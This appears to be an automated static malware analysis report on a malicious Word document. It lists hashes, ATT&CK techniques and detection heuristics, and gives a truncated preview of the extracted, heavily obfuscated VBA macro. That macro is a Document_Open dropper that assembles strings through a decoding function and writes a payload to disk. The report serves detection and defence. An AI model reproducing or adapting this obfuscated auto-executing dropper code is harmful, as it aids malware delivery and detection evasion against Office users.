Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ee9649a2f9b2c8e…

MALICIOUS

Office (OLE)

1.42 MB Created: 2018-01-22 13:10:00 Authoring application: Microsoft Office Word First seen: 2019-01-31
MD5: cc019683021a4ff05e84860b62676dc1 SHA-1: 2062978f17547adada1bc2620e087db0bd216ec8 SHA-256: 1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942
224 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute automatically. The document body contains a lure instructing the user to enable macros and content, which is a common social engineering tactic. The VBA script is heavily obfuscated but the presence of CreateObject and Shell execution, along with the ClamAV detection 'Doc.Malware.Valyria-7570499-0', strongly indicates it's a downloader or dropper for a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-7570499-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7570499-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1281768 bytes
SHA-256: 3cd9ec88c54db9c1f92ea818710d7698a27436a17c496ba76962134d860ad909
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1614 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "RefEdit1, 0, 0, MSForms, TextBox"

Option Explicit

Sub Document_Open()
On Error Resume Next

owirp

Dim RHdKu As String
RHdKu = DhiKZ(MLICu)
Dim YLNzD As String
YLNzD = psDNF(yUdOt(19667, 19584))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(16085, 16054)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(18526, 18476)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(16976, 16953)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(13340, 13420)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(19897, 19917)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(16976, 16953)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(18451, 18557)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(20541, 20570)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(20545, 20591)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(20134, 20192)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(16976, 16953)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(14933, 14905)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(15601, 15508)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(19667, 19584)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(12401, 12296)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(14537, 14522)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(19897, 19917)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(15601, 15508)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(14906, 14935)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(12102, 12041)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(14668, 14638)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(11826, 11864)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(15601, 15508)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(16085, 16054)))
YLNzD = COoyt(YLNzD, psDNF(yUdOt(19897, 19917)))
Dim aXAfL As Object
Set aXAfL = CreateObject(YLNzD)
Dim BoFWR As Object
Dim GBnLu As String
GBnLu = ""
GBnLu = COoyt(GBnLu, psDNF(yUdOt(13363, 13424)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(13191, 13245)))
GBnLu = COoyt(GBnLu, "\")
GBnLu = COoyt(GBnLu, psDNF(yUdOt(15640, 15688)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18526, 18476)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18006, 17977)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(20541, 20570)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18526, 18476)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(15284, 15317)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(14906, 14935)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(17581, 17641)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(15284, 15317)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(19897, 19917)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(15284, 15317)))
GBnLu = COoyt(GBnLu, "\")
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18027, 17980)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(16976, 16953)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18451, 18557)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(20008, 20044)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18006, 17977)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(20966, 20881)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(14537, 14522)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(13722, 13780)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(14429, 14345)))
GBnLu = COoyt(GBnLu, "\")
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18027, 17980)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(16976, 16953)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18451, 18557)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(20008, 20044)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18006, 17977)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(20966, 20881)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(14537, 14522)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(13722, 13780)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(14429, 14345)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(20545, 20591)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(16976, 16953)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(18451, 18557)))
GBnLu = COoyt(GBnLu, psDNF(yUdOt(16976, 16953)))


Set BoFWR = aXAfL.CreateTextFile(GBnLu, True, True)
BoFWR.Write RHdKu
BoFWR.Close


chmtR
dTLBN
End Sub

Public Function dTLBN()
    Dim XeVED As Object
    Dim aOOTM As String
    aOOTM = ""
    aOOTM = COoyt(aOOTM, psDNF(yUdOt(19667, 19584)))
    aOOTM = COoyt(aOOTM, psDNF(yUdOt(18899, 18875)))
    aOOTM = COoyt(aOOTM, psDNF(yUdOt(15601, 15508)))
    aOOTM = COoyt
... (truncated)